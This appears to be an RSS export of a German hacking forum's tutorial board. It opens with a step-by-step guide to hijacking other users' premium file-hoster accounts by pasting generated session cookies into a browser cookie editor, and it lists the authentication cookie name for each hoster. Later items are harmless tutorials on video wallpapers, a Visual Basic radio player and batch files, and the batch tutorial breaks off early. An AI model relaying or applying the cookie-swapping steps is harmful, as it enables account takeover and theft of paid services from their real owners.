Ich Persönlich habe das ganze ausprobiert und habe Filesonic geused und es hat wirklich funktioniert, im Profil vom Account stand dort nicht mehr mein Name sondern der Name eines anderen User's der Premium gekauft hat.<br />
<br />
<br />
<div style="margin-left:40px"><div style="margin-left:40px"><b><u>Multi Cookie Generator</u></b><br />
<div style="margin-left:40px"><br />
1. Laded euch Mozilla Firefox herunter und das Addon Cookie Manager+.<br />
2. Nun geht ihr auf <a href="http://tomtest.net/" target="_blank" rel="nofollow">TomTest</a><br />
3. Registriert euch oben rechts</div><img src="https://u-img.net/img/4282Pl.png" border="0" alt="" /><br />
<div style="margin-left:40px">4. Gebt eure Account Daten ein (diese werden nur gebraucht um auf die Tools zuzugreifen)</div><div style="margin-left:40px"><div style="margin-left:40px"><div style="margin-left:40px"><div style="margin-left:40px"><div style="margin-left:40px"><img src="https://u-img.net/img/3282Zx.png" border="0" alt="" /></div></div></div></div></div><div style="margin-left:40px">5. Nachdem ihr euch registriert habt, geht ihr auf den Tab <b><font color="Red"><span style="text-shadow: 0px 0px 10px #8d8d8d">Tools</span></font></b><br />
6. Es öffnet sich eine Auswahl und geht da auf <font color="Red"><span style="text-shadow: 0px 0px 10px #8d8d8d"><b>Multi Cookie Generator Online</b></span></font></div><img src="https://u-img.net/img/7282Ke.png" border="0" alt="" /><br />
<div style="margin-left:40px">7. Jetzt seit ihr im Multi Cookie Generator, wo ihr euer OCH auswählen könnt</div><img src="https://u-img.net/img/3283Ds.png" border="0" alt="" /><br />
<div style="margin-left:40px">8. Drückt auf <b><font color="Red"><span style="text-shadow: 0px 0px 10px #8d8d8d">Generate Cookie!</span></font></b><br />
9. Jetzt wird euch ein Cookie angezeigt.</div><div style="margin-left:40px"><div style="margin-left:40px"><div style="margin-left:40px"><div style="margin-left:40px"><img src="https://u-img.net/img/6283Le.png" border="0" alt="" /></div></div></div></div><div style="margin-left:40px">10. Jetzt geht ihr zu eurem OCH (bei mir Filesonic)<br />
11. Dort erstellt ihr euch erst mal einen Free Account<br />
12. Ist dies vollbracht, loggt ihr euch ein<br />
13. Jetzt geht ihr auf die Startseite des OCH's<br />
14.Geht oben in den Tabs auf Extras und da auf den <b><font color="Red"><span style="text-shadow: 0px 0px 10px #8d8d8d">Cookie Manager+</span></font></b></div><div style="margin-left:40px"><div style="margin-left:40px"><div style="margin-left:40px"><div style="margin-left:40px"><img src="https://u-img.net/img/4283Co.png" border="0" alt="" /></div></div></div></div><div style="margin-left:40px"><div style="margin-left:40px"><a style="font-weight:bold;text-decoration:none;" target="blank" href="http://s3.imgimg.de/uploads/firefoxneu0e3431e5png.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></div></div><div style="margin-left:40px">15. Sucht nach eurem OCH<br />
16. Es werden mehrere Cookies dazu angezeigt<br />
17. Jetzt müsst ihr die Authentication finden</div><div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<div>
				Zitat von <strong> Authentication </strong>
				
			</div>
			<div class="message">OCH...................Cookie:<br />
fileserve.com (short version).....PHPSESSID<br />
megaupload.com....................user<br />
hotfile.com.......................auth<br />
rapidshare.com....................enc<br />
netload.in........................cookie_user<br />
depositfiles.com..................autologin<br />
oron.com..........................xfss<br />
filesonic.com.....................PHPSESSID<br />
wupload.com.....................PHPSESSID</div>
			
		<hr />
	</div>
</div><div style="margin-left:40px"><div style="margin-left:40px"><img src="https://u-img.net/img/3283Wz.png" border="0" alt="" /></div></div><div style="margin-left:40px">18. Habt ihr sie gefunden doppelklick darauf und es öffnet sich ein neues Fenster<br />
19. Bei Inhalt fügt ihr euer neues Cookie ein und überschreibt das alte</div><div style="margin-left:40px"><div style="margin-left:40px"><img src="https://u-img.net/img/7283Ur.png" border="0" alt="" /></div></div><div style="margin-left:40px">20. Speichert nun das ganze (das Cookie wird automatisch für 2Jahre gespeichert)<br />
21. Nun aktualisiert diese Seite<br />
22. Tada, es wird ein anderer User angezeigt und auch einen neuen Accountstatus</div><br />
<br />
<br />
<font color="Red"><b><span style="text-shadow: 0px 0px 10px #8d8d8d">Hinweiss: </span></b></font>Bitte unterlasst es die Passwörter zu ändern! :nerd:</div></div>
			
		<hr />
	</div>
</div>Quelle: <a href="http://www.elitepvpers.com" target="_blank" rel="nofollow">elitepvpers - play less, get more</a></div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Prinzessin Paat</dc:creator>
			<guid isPermaLink="true">tutorials-107/howto-free-premium-accounts-13296</guid>
		</item>
		<item>
			<title><![CDATA[[How²] Video als Desktop Hintergrund]]></title>
			<link>tutorials-107/how-video-als-desktop-hintergrund-13086?goto=newpost</link>
			<pubDate>Sun, 03 Jun 2012 19:48:58 GMT</pubDate>
			<description>Yho, 
vielleicht interessiert es jemanden;  
 
 
---Zitat--- 
Servus Leute, 
 
wollte euch hier mal ein nettes Tutorial zeigen welches euch...</description>
			<content:encoded><![CDATA[<div>Yho,<br />
vielleicht interessiert es jemanden; <br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			Servus Leute,<br />
<br />
wollte euch hier mal ein nettes Tutorial zeigen welches euch ermöglicht Videos als Desktophintergrund einzustellen.<br />
<br />
Es ist recht einfach:<br />
<br />
Dieses Tutorial ist nur für Windows 7. Für Vista, etc. in Google nach &quot;DreamScene&quot; suchen.<br />
<br />
Es sind insgesamt 3 Datein, 2 davon gehen in &quot;System32&quot;.<br />
<br />
1: DreamScene.dll System<br />
2: DreamScene.dll.mui in System32/en-US<br />
<br />
Die 3 Datei ist eine (*.reg )<br />
<br />
Wenn ihr die beiden Dll-Datein im System32 habt auf die *.reg datei klicken und den Pc neu starten. Dann könnt ihr jedes video mit *.wmv Datei als Desktophintergrund nutzen!<br />
Wichtig ist das ihr es so macht wie es in der Anleitung steht!!<br />
<br />
Hier Runterladen.<br />
<br />
32 Bit: <a href="http://windows7center.com/wp-content/downloads/Windows7-DreamScene-Enable.exe" target="_blank" rel="nofollow">Download 32 Bit</a><br />
<br />
64 Bit: <a href="http://windows7center.com/wp-content/downloads/dreamscene64.rar" target="_blank" rel="nofollow">Download 64 Bit</a><br />
<br />
Falls ihr eine genauere Anleitung braucht, hier ist sie:<br />
<br />
<a href="http://windows7center.com/tutorials/how-to-enable-dreamscene-in-windows-7/" target="_blank" rel="nofollow">Link</a><br />
<br />
PS: Falls ihr Videos von Youtube wollt, müsst ihr gucken was für eine Auflösung euer Bildschirm hat, damit das Bild komplett ausgefüllt ist. Es gehen nur *.wmv Dateien!<br />
<br />
Ach ja, natürlich braucht das Video auch Ressourcen. Rechnet mit ca. 5-10% CPU Auslastung und ein paar MB RAM.<br />
<br />
Viel Spaß!
			
		<hr />
	</div>
</div>Quelle: <a href="http://www.elitepvpers.com/forum/tutorials/1251768-howto-videos-als-desktophintergrund.html" target="_blank" rel="nofollow">[HowTo] Videos als Desktophintergrund!</a></div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Prinzessin Paat</dc:creator>
			<guid isPermaLink="true">tutorials-107/how-video-als-desktop-hintergrund-13086</guid>
		</item>
		<item>
			<title><![CDATA[[Tutorial][1#] VB: Grundgerüst RadioPlayer]]></title>
			<link>tutorials-107/tutorial-1-vb-grundgeruest-radioplayer-11481?goto=newpost</link>
			<pubDate>Thu, 26 Apr 2012 22:13:02 GMT</pubDate>
			<description>_*Grundgerüst Radioplayer*_ 
 
Unter diesem Titel bzw der Überschrift dieses Threads kann man sich meiner Meinung nach schon ziemlich viel...</description>
			<content:encoded><![CDATA[<div><u><b><font color="Yellow">Grundgerüst Radioplayer</font></b></u><br />
<br />
Unter diesem Titel bzw der Überschrift dieses Threads kann man sich meiner Meinung nach schon ziemlich viel Vorstellen, muss man aber nicht.<br />
Ich versuche euch nun hier mit diesem Tutorial nahezubringen, wie ihr ganz einfach mit Visual Basic einen Radioplayer (Webradioplayer um genau zu sein) erstellen könnt, und mit dem danach euer Lieblingsradio hören könnt.<br />
<br />
<font color="Yellow"><u><b>Was ist Visual Basic?</b></u></font><br />
<br />
Microsoft Visual Basic bietet eine komplette Entwicklungsumgebung für die gleichnamige Programmiersprache auf dem PC. Mit VB (VB=Visual Basic) programmiert man teils über den Quellcode, teils über die grafische Oberfläche seine Anwendungen und Projekte. Es ist meiner Meinung nach auch ein perfektes Einsteigertool da es sehr leicht zu bedienen ist und schnell zu lernen.<br />
<b><u><font color="Yellow"><br />
Was ich euch zeigen will:</font></u></b><br />
<br />
Ich will mit euch zusammen hier einen kleinen aber feinen Webradioplayer bauen, mit dem ihr danach euer lieblings Radio hören könnt.<br />
Ich werde in meinem Beispiel hier aber keine genaueren IP Addressen verwenden, da ich das womöglich nicht darf.... dazu werd ich aber dann im eigentlichen Tut mehr sagen.<br />
Wem es einfach darum geht den fertigen Player am Schluss zu haben, kann die Codes gerne einafch übernehmen, jedoch lernt man so einfach nichts und hat dann auch keien Ahung um was es geht. Logisch wird es bei diesem Tut nicht all zu viel zu lernen geben, jedoch ist es imemr gut, wenn man weiss ,was man macht!<br />
Ich selber arbeite auch noch nicht all zu lange mit Visual Basic, habe bis jetzt auch nur Anwendungen für mich gemacht und bin auch andauernd am lernen, und ein guter Weg um die verschiednen Tool's kennen zu lernen ist einfach das ausprobieren. So jetzt Schluss mit dem, jetzt fangen wir an....!<br />
<b><u><font color="Yellow"><br />
Webradioplayer mit Visual Basic<br />
</font></u></b><br />
1. Ihr ladet euch zuerst mal das Programm runter. Die DL werdet ihr fals ihr nichts finden solltet von mir bekommen.<br />
<br />
Nun habt ihr das Programm installiert und ihr könnte es zum erstenmal starten, was dann etwa so aussehen müsste:<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://1.1.1.3/bmi/img408.imageshack.us/img408/5093/startseite.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
...geöffnet wurde nun VB und ein Tab namens Startseite, so wie ich es im Bild oben makiert habe. Jetzt könnt ihr dieses Tab schliessen, das brauchen wir nicht mehr.<br />
Jetzt geht ihr oben auf Datei --&gt; Neues Projekt.<br />
Nun öffnet sich ein kleines Fenster worin ihr &quot;Windows Forms-Anwendung auswählt. Unten bei deisem kleinen Fenster könnt ihr noch den Namen der Form eingeben, in meinem Fall wäre das einfach Webradioplayer, aber das spielt keine Rolle...<br />
So müsste das nun aussehen:<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://1.1.1.5/bmi/img708.imageshack.us/img708/3627/form1g.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
Nun seht ihr da auch die erste Forum, euer Grundgerüst sozusagen.<br />
Klickt ihr diese an, so könnt ihr sie in dem ihr sie auseinanderzeiht grösser/kleiner machen.<br />
Auf der rechten Seite von VB unter der Überschrift &quot;Eigenschaften&quot; könnt ihr eurer Forum einen Namen geben, z.B Radioplayer. Ihr könnt Sie aber auch farblich veränder naber hierzu will ich nicht mehr sgaen, ihr könnt es ja selbst asuprobieren. Ich werde mit den Standarteigenschaften weiterfahren...so:<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://1.1.1.2/bmi/img176.imageshack.us/img176/5844/form1grsse.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
Nun haben wir die Grösse die wir wollen(kann in eurem Fall natürlich anders gross sein) und können weitermachen.<br />
Was wir benötigen um überhaupt den Stream öffnen zu können, ist in unserem Fall der wmp(Windows-Mediaplayer).<br />
Diesen findet ihr zunächst nicht in der Toolbox, und um ihn da zu finden, müsst ihr folgendes machen:<br />
oben in der Menueleiste auf &quot;Toolboxelemente auswählen...&quot;---&gt;&quot;COM-Steuerelemente&quot; und un ganz nach unten scrollen und bei wmp ein &quot;Häckchen&quot; machen. Jetzt nur noch auf ok und schon habt ihr den wmp bei euch in der Toolbox unter &quot;Allgemein&quot;(ganz unten). Jetzt wählt ihr diesen aus und playziert ihn irgendwo auf eurer Forum, wie es euch passt....bei mir sieht das jetzt so aus:<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://1.1.1.3/bmi/img152.imageshack.us/img152/2938/wmpeingebaut.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
Nun bevorzuge ich um den Stream zu starten 2Buttons, einmal &quot;Play&quot; und einmal &quot;Stop&quot;. Um diese in eure Anwendung zu bringen, geht ihr wieder in die Toolbox und sucht euch ganz oben das Tool &quot;Button&quot; und plaziert es 2mal auf eurer Anwendung. Jetzt könnt ihr diese die ja im moment noch &quot;Button1&quot; und &quot;Button2&quot; heissen umbenennen indem ihr wieder bei Eigenschaften den Text ändert in wie gesagt z.B. Play und Stop. Soo:<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://1.1.1.3/bmi/img573.imageshack.us/img573/600/buttonsj.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
Jetzt haben wir eigentlich schon alles was wir bruachen. Die Lautstärke kann über das wmp-tool geändert werden, oder man kann aber auch noch einen &quot;lautstärkereggler/Fader&quot; sag ich dem jetzt mal, einbauen, das würde dann so gehen...:<br />
Ihr geht wieder in die Toolbox und sucht euch unter &quot;Alle Windows Forms&quot; die &quot;Trackbar&quot; raus und plaziert sie wieder so wie ihr es wollt.... so z.B.:<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://1.1.1.2/bmi/img825.imageshack.us/img825/7833/faderu.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
Bei &quot;Margin&quot; &quot;Maximum&quot; stellt ihr auf 100, so könnt ihr nachher die Lautstärke besser einstellen wenn ihr am hören seit... und bei &quot;Orientation&quot; könnt ihr zwischen Horizontal oder Vertika wählen, das ist euch überlassen.<br />
<br />
Jetzt will ich mich auch niht mehr lange mit dem grafischen aufhalten, sondern möchte zum Code Teil rüber gehen.<br />
Bevor wir das aber machen, müsst ihr noch auf eurer wmp-tool klicken und es unbenennen in z.B.: Radioplayer oder so, einfach bei Eigenschaften ganz oben bei Namen den Namen&quot;AxWindowsMediaPlayer1&quot; in Radioplayer ändern....<br />
<br />
Jetzt zu den Codes:<br />
Jetzt macht ihr auf jedes Tool auser wmp was ihr eingebaut habt, also auf die zwei Buttonsund den Fader einen Doppelklick, und ihr werdet sehen, es öffnet sich ein Neues Tab wo schon etwas drinsteht....: SO:<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://1.1.1.1/bmi/img832.imageshack.us/img832/4279/code1.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
Jetzt müssen wir noch die Befehle angeben, damit der auch etwas macht...<br />
Also bei Button1 der ja unser Play Button ist schreiben wir eine zeile darunter folgenden code:<br />
Code:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Radioplayer.URL = (&quot;http://deine IP oder Streamaddresse&quot;)</code><hr />
</div>Das Radioplayer.URL gibt uns an, womit der Stream geöffnet werden soll, also mit dem wmp, den wir ja zuvor so genennt haben. Die Addrese hinter dem Gleichzeichen gibt an, was geöffnet werden soll, also das wäre dann eurer Radio was ihr hören wollt. Ich habe extra keine IP reingemacht da ich nicht weiss ob mir das erlaubt ist.<br />
Nun gehen wir zu Button2. Der soll ja unseren Player Stopen, und das geben wir so an:<br />
Code:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Radioplayer.URL = Nothing</code><hr />
</div>Das Radioplayer.URL ist wieder das Befehl wo etwas gemacht werden soll, und das Nothing gibt an, das nichts mehr passiert, also der Player hört auf zu laufen.<br />
Jetzt haben wir noch unseren Fader, den Lautstärkeregler...<br />
Bei disem sieht der Code so aus:<br />
Code:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Radioplayer.settings.volume = Trackbar1.Value</code><hr />
</div>Das Radioplayer gibt uns weider an, wo was gemacht werden soll, und das settings und volume was gemacht werden soll. Trackbar.Value bindet das ganze zusammen(sry wenn ich das nicht so richtig erklären kann, aber ich bin wie gesagt auch noch kein Profi).<br />
So müsste der Code dan aussehen:<br />
Code:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Public Class Form1<br />
<br />
&nbsp; &nbsp; Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click<br />
&nbsp; &nbsp; &nbsp; &nbsp; Radioplayer.URL = (&quot;http://deine Stream IP oder Addresse&quot;)<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click<br />
&nbsp; &nbsp; &nbsp; &nbsp; Radioplayer.URL = Nothing<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; Private Sub TrackBar1_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrackBar1.Scroll<br />
&nbsp; &nbsp; &nbsp; &nbsp; Radioplayer.settings.volume = TrackBar1.Value<br />
&nbsp; &nbsp; End Sub<br />
End Class</code><hr />
</div>Bild:<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://1.1.1.4/bmi/img835.imageshack.us/img835/6209/codefertig.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
Wenn Ihr nun oben unterhalb von &quot;Extras&quot; auf den grünen Pfeil/Playpfeil klcikt, führt es euer Programm aus, und zeigt euch, wie das ganze dann am ende aussieht. Jetzt werdet Ihr merken, das ihr den WMP eigentlich gar nicht benötigt, und das der vielleicht doof aussieht, und das wenn ihr an eurem Fader rumspielt der fader des WMP sich auch bewegt. um den WMP unsichtbar zu machen, müsst ihr wieder auf euren grafsichen Teil der anwendung und da unter Eigenschaften ganz unten bei Visible das &quot;True&quot; auf &quot;False&quot; umstellen. Das heisst das nun der WMP bei der fertigen Anwendung unsichtbar ist, was finde ich, auch besser aussieht. Jetzt geht ihr nochmasl oben auf den Pfeil und füht die Anwendung aus, und siehe da, der WMP ist weg...<br />
Wenn ihr jetzt noch wollt das euer Fader in der Mitte ist beim Start, müsst ihr bei Eigenschaften wieder bei Value auf 50 stellen.<br />
<br />
Nun sidn wir eigentlich auch schon am Ende dieses Tutorials und ich hoffe das ich euch ein wenig helfen konnte.<br />
<br />
<font color="Yellow"><u><b>Schlusswort:</b></u></font><br />
Ich werde dieses Tutorial noch weiterführen, andere Sachen zeigen und euch auch zeigen, wie ihr euren Player noch besser machen könnt, Extras einbauen und und und, und auch Tutorials in andere Richtungen, also die nichts mit dem Radioplayer zu tun haben.<br />
Aber im mom hab ich erst mal genug geschriben^^<br />
Ich bitte euch nur, jetzt nicht zu kommen mit solchen Kommentaren wie &quot;Oh man das weiss doch jder&quot; oder &quot;das gibts schon&quot;.<br />
Ich habe hier in e*pvp noch nichts derartiges gefunden!<br />
Für Kritik bin ich natürlich gerne offen, verbesserungsvorschläge und so nehm ich gerne an. Sollte irgendwo ein Rechtschreibefehler sein könnt ihr mir das bitte via PM melden, ich werde dies dann sofort es geht ändern.<br />
Das Tutorial wurde niergends abgeschriben weder irgendwo kopiert udn hier einfach eingefügt, das habe ich jetzt selber geschriben und will es daher auch wissen, wenn jemand mein Tut kopieren möchte um wo anders zu zeigen. Einfach PM an mich und wir klären das dann so ab.<br />
Ideen über was ich ein Tut machen könnte nehem ich auch gerne an.<br />
Wenn noch Fragen oder unklarheiten sind, einfach fragen...<br />
<br />
So nun bin ich still und jo, bis zum nächsten mal,<br />
<br />
Bazs<br />
<br />
Zu letzt: Sollte irgendwas nicht funktionieren oder es probleme geben übernehm ich nicht die Haftung, ich bin nicht verantwortlich!<br />
Das muss leider auch gesagt sein aber ich denke jder der sowas schonmal gemacht hat kann mir zustimmen und sagen das es geht und keine Probleme geben wird.<br />
<font size="1"><br />
Quelle: <a href="http://www.elitepvpers.com/forum/coding-tutorials/830669-visual-basic-grundger-st-radioplayer.html" target="_blank" rel="nofollow">[Visual Basic] Grundgerüst Radioplayer</a></font></div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">tutorials-107/tutorial-1-vb-grundgeruest-radioplayer-11481</guid>
		</item>
		<item>
			<title>Google Hacking</title>
			<link>tutorials-107/google-hacking-10268?goto=newpost</link>
			<pubDate>Thu, 05 Apr 2012 10:33:18 GMT</pubDate>
			<description><![CDATA[Mahlzeit, 
 
hab vorhin in meiner Dropbox eine pdf über "google hacking" gefunden. Wird eigentlich recht gut die Funktion von google beschrieben....]]></description>
			<content:encoded><![CDATA[<div>Mahlzeit,<br />
<br />
hab vorhin in meiner Dropbox eine pdf über &quot;google hacking&quot; gefunden. Wird eigentlich recht gut die Funktion von google beschrieben. Wens interessiert, viel spaß damit :) <br />
<br />
(Ich habs nicht selbst geschrieben, irgendwo mal aufgegabelt)<br />
.pdf ist größer als die 100kb, die man maximal hier hochladen kann, deshalb hier der DL-Link<br />
<br />
 <a href="http://www.file-upload.net/download-4243308/Google_Hacking.pdf.html" target="_blank" rel="nofollow">Files-upload_Googlehacking</a>:devil2:<br />
<br />
<br />
Flo</div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Flopa</dc:creator>
			<guid isPermaLink="true">tutorials-107/google-hacking-10268</guid>
		</item>
		<item>
			<title>Video-Tutorial Wünsche</title>
			<link>tutorials-107/video-tutorial-wuensche-10250?goto=newpost</link>
			<pubDate>Wed, 04 Apr 2012 19:51:57 GMT</pubDate>
			<description>Habt ihr Wünsche für Video-Tutorials?</description>
			<content:encoded><![CDATA[<div>Habt ihr Wünsche für Video-Tutorials?</div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">tutorials-107/video-tutorial-wuensche-10250</guid>
		</item>
		<item>
			<title>PHP-Tutorials von Tr0pe7</title>
			<link>tutorials-107/php-tutorials-tr0pe7-10186?goto=newpost</link>
			<pubDate>Tue, 03 Apr 2012 17:28:35 GMT</pubDate>
			<description>In diesem Thread werde ich in Zukunft die Links zu meinen Tutorials zusammenfassen. 
 
Solltet ihr Fragen haben, postet diese bitte in dem...</description>
			<content:encoded><![CDATA[<div>In diesem Thread werde ich in Zukunft die Links zu meinen Tutorials zusammenfassen.<br />
<br />
Solltet ihr Fragen haben, postet diese bitte in dem entsprechenden Thread, oder schreibt mir eine Private Nachricht.<br />
<br />
Hier bitte nicht posten.<br />
<br />
LG, Tr0pe7<br />
<br />
PS: Ich lese momentan ein Buch über die PHP-Programmierung und werde diese Tutorials immer meinem Fortschritt entsprechend verfassen.<br />
<br />
<u>Tutorials:</u><br />
<br />
03.04.2012: <a href="http://u-hacks.net/php-98/tutorial-1-php-basics-10187/#post75381" target="_blank" rel="nofollow">http://u-hacks.net/php-98/tutorial-1...187/#post75381</a></div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">tutorials-107/php-tutorials-tr0pe7-10186</guid>
		</item>
		<item>
			<title>(.bat) Batch Tutorial</title>
			<link>tutorials-107/bat-batch-tutorial-9972?goto=newpost</link>
			<pubDate>Sat, 31 Mar 2012 11:35:13 GMT</pubDate>
			<description>Ich habe auf meiner Platte noch ein nützliches Tutorial gefunden zum erstellen von Batch-Files, was ich damals gesucht hatte um meine Freunde ein...</description>
			<content:encoded><![CDATA[<div>Ich habe auf meiner Platte noch ein nützliches Tutorial gefunden zum erstellen von Batch-Files, was ich damals gesucht hatte um meine Freunde ein wenig zu ärgern. <br />
Ich finde es sehr gut und habe es für euch mal hier rein gestellt, damit ihr auch etwas davon habt. <br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<br />
<div style="text-align: center;"><a style="font-weight:bold;text-decoration:none;" target="blank" href="http://technophileshub.com/wp-content/uploads/2012/01/MS-DOS-Batch-File.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></div><br />
<b><u>1.Was ist (.bat) batch?</u></b><br />
<br />
Batch ist eine Dateiform die mit der Dos&quot;sprache&quot; (Begriffserklärung DOS) geschrieben bzw. gehandthabt wird.<br />
DOS werden alle Leute die einen der ersten Computer besessen haben sicherlich kennen.<br />
Früher war es ein einfaches Eingabefenster mit dem man per Befehlen den ganzen PC gesteuert hat, es gab also<br />
noch keinen Desktop bzw. keine grafische Darstellung. Heutzutage gibt es nur mehr als so eine Art Nachfolger<br />
die Eingabeaufforderung, oder auch CMD, die aber schon mit anderen Befehlen gehandelt wird.<br />
<br />
Also ist Batch im Prinzip nichts anderes als eine Anwendung, die mit CMD angezeigt wird. Ganz einfach, oder?<br />
Du wirst hier die Grundlagen und ein paar Beispiele lernen/finden, villeicht kommt ja auch noch ein<br />
Fortgeschrittene Tutorial.<br />
<br />
<b><u>1.1 Wie erstelle ich eine .bat Datei?</u></b><br />
<br />
Erstelle eun neues Notepaddokument und ändere die Dateiform von .txt zu .bat .<br />
Wenn du nicht weist wie man das macht, lass das Tutorial lieber bleiben.<br />
<br />
Diese Datei kannst du jetzt so bearbeiten:<br />
.bat Datei &gt; Rechtsklick &gt; //bearbeiten<br />
<br />
<b><u>2.Grundcodes</u></b><br />
<br />
Jetzt gehts erstmal an die Grundcodes, sie sind eig. das wichtigste für den Anfang.<br />
<br />
<b><u>2.0.1 ECHO</u></b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">@echo off</code><hr />
</div>Dieser Code sollte bei einer Batchdatei, die z.B. keine Serverdatenbank laden o.Ä soll, immer am Anfang stehen.<br />
Warum?<br />
Ganz einfach. Wenn man ihn nicht am Anfang steht, werden später die ECHObefehle nicht richtig angezeigt, und das<br />
wollen wir ja nicht.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">echo Dein Text</code><hr />
</div>Dort wo Dein Text steht, gehören deine Wörter hin. Auch die Klammern gehören weg, sonst wird eine Fehlermeldung<br />
erscheinen.<br />
Beachte aber, das du den Text nicht zu lange machst sondern auf mehrene Zeilen aufteilst, also ca. so:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">ECHO textteil 1<br />
ECHO textteil 2<br />
ECHO textteil 3</code><hr />
</div>Wenn du den nämlich zu lange machst, wird der Text hinter dem Fenster verschwinden.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">.echo</code><hr />
</div>Wenn du diesen Code einfügst erscheint in dieser Zeile eine Leerzeile.<br />
<br />
<b><u>2.0.2 title</u></b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">title Dein Titel</code><hr />
